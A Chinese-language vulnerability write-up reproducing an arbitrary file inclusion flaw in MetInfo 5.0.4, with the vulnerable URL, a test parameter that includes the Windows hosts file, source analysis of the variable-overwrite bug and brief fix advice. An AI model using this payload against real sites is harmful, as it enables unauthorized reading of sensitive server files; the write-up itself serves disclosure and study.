1.1漏洞描述

漏洞編號(hào)	————
漏洞類型	文件包含
漏洞等級(jí)	??????????
漏洞環(huán)境	windows
攻擊方式

MetInfo 是一套使用PHP 和MySQL 開發(fā)的內(nèi)容管理系統(tǒng)。MetInfo 5.0.4?版本中的?/metinfo_5.0.4/about/index.php?fmodule文件存在任意文件包含漏洞。攻擊者可利用漏洞讀取網(wǎng)站上的敏感文件。?

1.2漏洞等級(jí)

高危

1.3影響版本

metinfo 5.0.4?

1.4漏洞復(fù)現(xiàn)

1.4.1.基礎(chǔ)環(huán)境

組件	版本
OS	Microsoft Windows Server 2016 Standard
Web Server	phpStudy 2016
MetInfo	5.0.4

開啟：?metinfo 5.0.4?

1.4.2.漏洞點(diǎn)

/metinfo_5.0.4/about/index.php?fmodule=7

1.4.3.測試

&module=c:/windows/system32/drivers/etc/hosts

?成功獲取hosts信息，證明漏洞存在

1.4.4 源碼分析

????????根據(jù)index.php我們可以看到文件包含，主要包含$module.(變量，動(dòng)態(tài)包含，存在漏洞)

<?php
# MetInfo Enterprise Content Management System 
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved. 
$filpy = basename(dirname(__FILE__));
$fmodule=1;
require_once '../include/module.php';
//echo $fmodule;
//echo "<hr >";
//echo $module;
require_once $module;
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

????????module.php代碼關(guān)鍵部分，?這里只判斷了$fmodule!=7進(jìn)入if分支，沒有判斷$fmodule=7，而且?guī)Тa還包含了common.inc.（這里的代碼不完全，建議下載metinfo 5.0.4）

if($fmodule!=7){if($mdle==100)$mdle=3;if($mdle==101)$mdle=5;$module = $modulefname[$mdle][$mdtp];if($module==NULL){okinfo('../404.html');exit();}if($mdle==2||$mdle==3||$mdle==4||$mdle==5||$mdle==6){if($fmodule==$mdle){$module = $modulefname[$mdle][$mdtp];}else{okinfo('../404.html');exit();}}else{if($list){okinfo('../404.html');exit();}else{$module = $modulefname[$mdle][$mdtp];}}if($mdle==8){if(!$id)$id=$class1;$module = '../feedback/index.php';}
}
?>

?????????common.inc下面這幾行代碼會(huì)將GPC參數(shù)傳遞過來的變量全部存儲(chǔ)成變量，進(jìn)行執(zhí)行。

過程：
&module=c:/windows/system32/drivers/etc/hosts

? ? ? ?|? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? |

$module =? ? ? ? ??????????$module值

foreach(array('_COOKIE', '_POST', '_GET') as $_request) {foreach($$_request as $_key => $_value) {$_key{0} != '_' && $$_key = daddslashes($_value);}
}

????????所以我們傳入&module=c:/windows/system32/drivers/etc/hosts則會(huì)執(zhí)行，查看到hosts信息

1.5深度利用

1.5.1

暫無

1.6漏洞挖掘

1.6.1指紋信息

1.7修復(fù)建議

• 升級(jí)

• 打補(bǔ)丁

• 上設(shè)備